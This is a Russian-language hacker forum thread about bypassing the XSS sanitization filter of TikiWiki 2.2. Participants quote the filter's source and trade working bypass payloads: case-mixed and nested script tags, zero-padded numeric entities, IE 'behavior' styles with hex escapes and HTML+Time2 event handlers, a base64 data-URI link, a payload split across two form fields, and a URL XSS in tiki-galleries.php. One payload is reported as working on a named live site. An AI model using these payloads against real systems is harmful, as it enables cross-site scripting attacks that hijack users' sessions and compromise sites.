может кто знает как обойти защиту TikiWiki от XSS, это когда вместо <script> <sc<x>ript>. Такая байда на все опасные слова (style, expression, etc...).
а что если попробовать вложенную хсс? кстати, кроме слов ничего не фильтруется? был бы сайт, было б лучше.
пробуй <sc<script> или <ScRiPt> ____________________________ Мои посты- бред, чес, фальш! //Signature generated by fake-sign emulator v.4.3.1b
все это пробовал, и вложенные XSS и даже пробовал закоментить <sc<!-- //-->ript> в то месте где <x> вставляется, но увы не помогает, эта единственная переменная(из тех что пробовал) в новой версии движка , где вожможно реализовать html injection, но вот с XSS проблема, все другие варианты с ha.ckers.org/xss.html тоже пробовал...., пробовал в УТФ7 кодировке(и др.), разным регистром, причем если много раз повторить <script><script><script>, то в каждом с из них появится злобная X если по методу склеивания <sc<script> тоже не выходит кроме слов похоже не фильтруется сайт увы внутри компании, не в инете в общем устал биться с санитизацией и пошел другим путем, через png картинку все получилось но в мозилле не бачет, ибо уязвимость только IE, заметил еще один не приятный момент, то что в explorer.exe есть уязвимость переполнения при обработке картинок, а в IE ее нет, т е если скормить ему картинку с шелом, он ее протсто не отображает, только рамочку . а про санитизацию с X, может у кого еще какие идеи появятся? просто жутко интересно
знаю этот ресурсик, крайне полезный, из этих техник срабатывает только marquee, но без script, т е в итоге получаем только бегущую строчку ... эта зараза вставляет <x> во все слова типа style, expression, onerror, onload, script, alert, javascript, iframe, onmousover, onclick, eval ... причем что примечательно, предварительно вырезает \ + и прочее и вместо < (%3С и др кодировок) ставит >, а также ",',>
а вот собсно и скрипт санитизации ./tiki-wiki-2.2/lib/setup/sanitization.php там достаточно грамотно все написано, работа ребятами проделана большая... вот собсно что санитизируется знаком X $ra_as_tag_only = array('style', 'script', 'embed', 'object', 'applet', 'meta', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base', 'xml', 'import', 'link'); $ra_as_attribute = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','ondragdrop', 'dynsrc', 'lowsrc', 'codebase', 'xmlns'); $ra_as_content = array('vbscript', 'expression', 'blink', 'mocha', 'livescript', 'url', 'alert'); $ra_javascript =array('javascript') ЖЕСТЬ!
проблема в том что они в скрипте санитизации приводят все не стандартные кодировки к стандартной и только затем составляют для каждого $ra отдельный динамичиский regexp с ключами //gi, поэтому не бачет... но у меня всеж надежда не умирает , щас анализирую коды, пытаюсь найти выход...
TikiWiki 2.2 CMS/Groupware XSS vulnerability Неправильный кусок кода из файла sanitization.php PHP: for ($i = 0; $i < strlen($search); $i++) { // ;? matches the ;, which is optional // 0{0,8} matches any padded zeros, // which are optional and go up to 8 chars // @ @ search for the hex values $patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i'; $replacements[] = $search[$i]; // @ @ 0{0,8} matches '0' zero to eight times // with a ; $patterns[] = '/(�{0,8}'.ord($search[$i]).';?)/'; $replacements[] = $search[$i]; } В Opera и FF ограничений по количеству опциональных нулей нет, поэтому если при кодировании используется хотя бы 9 нулей, фильтр считает, что перед ним другой символ. активная XSS (Opera only)* PHP: <img src="javascript:confirm(/lo/)"> *в различных полях невозможность использования этого способа вызвана дополнительной фильтрацией. Так, например, в личных сообщениях, либо тексте комментариев блога, если фильтр не определил закодированный символ, идет преобразование & --> & Однако же в названиях и описаниях блогов этой допфильтрации нет. активная XSS (IE only) Code: <img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" end=0 onend=confirm(/lo/)> или Code: <img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" onbegin="confirm(/lo/)"> *пропуск событий HTML+Time2 *пропуск эскейп-последовательностей пассивная XSS (Opera & FF) Code: <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgvbG8vKTwvc2NyaXB0Pg==">click me</a> Проверка производилась на локально установленном движке в личных сообщениях и блогах, этого достаточно, чтобы увидеть практическую работу модуля sanitization.php. Дополнительная фильтрация в отдельных полях может быть обсуждена отдельно. Также следует отметить неаккуратную работу фильтра со структурой тега. Весьма легко производится выход за пределы тега. Невнимание разработчиков можно объяснить тем, что за пределами тега существует такая же фильтрация, как и внутри него. Однако же фильтрация между полями на одной странице отсутствует, в силу чего можно составить код xss, берущий начало в одном поле, а заканчивающийся в другом. Замечательное подтверждение вышесказанному сайтец http://lojban.org, основанный на tikiwiki 3.0beta. В форумных заголовках (title) сообщений проходят ВСЕ вышеописанные XSS. Активная XSS уязвимость, основанная на нарушении структуры тега, может быть такая (IE only): в заголовке форумного сообщения Code: <a style=`display:none;lo:expres/*;></a> в теле форумного сообщения Code: [http://www.foo.com/lo*/sion(this.lo==true?true:confirm(/lo/,this.lo=true));`| ]
хм.... вери интерестинг! а я пока раскопал URL XSS в tiki-galleries.php который не подвержен фильтрации tiki-galleries.php/>"><ScRipt>alert(666)</scRipt>
Да, про base64 encoding совсем забыл... каюсь с дивами и с нулями не бачет, видимо что-то он перекодирует, или еще что-то делает, после \75rl идет урезание
LeverOne да ты воистину гуру! откуда столько тонкостей знаешь? (про нули например) Я чесно говоря до тебя не встречал, и не знал, такого спасибо тебе громадно! жутко выручил!
как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29 дайти ссылку плиз
спс., возможно ли избавится от такого фильтра который сам после получения какого либо письма вписывает значение filtered- и именно там где стоит onmouseover пробовал как -нить закодить но не вышло может есть на это какие -нить варианты <a href="mail.html" filtered-onmouseover="alert('Your Message');return true;" target="_blank">Linked Text</a> sps.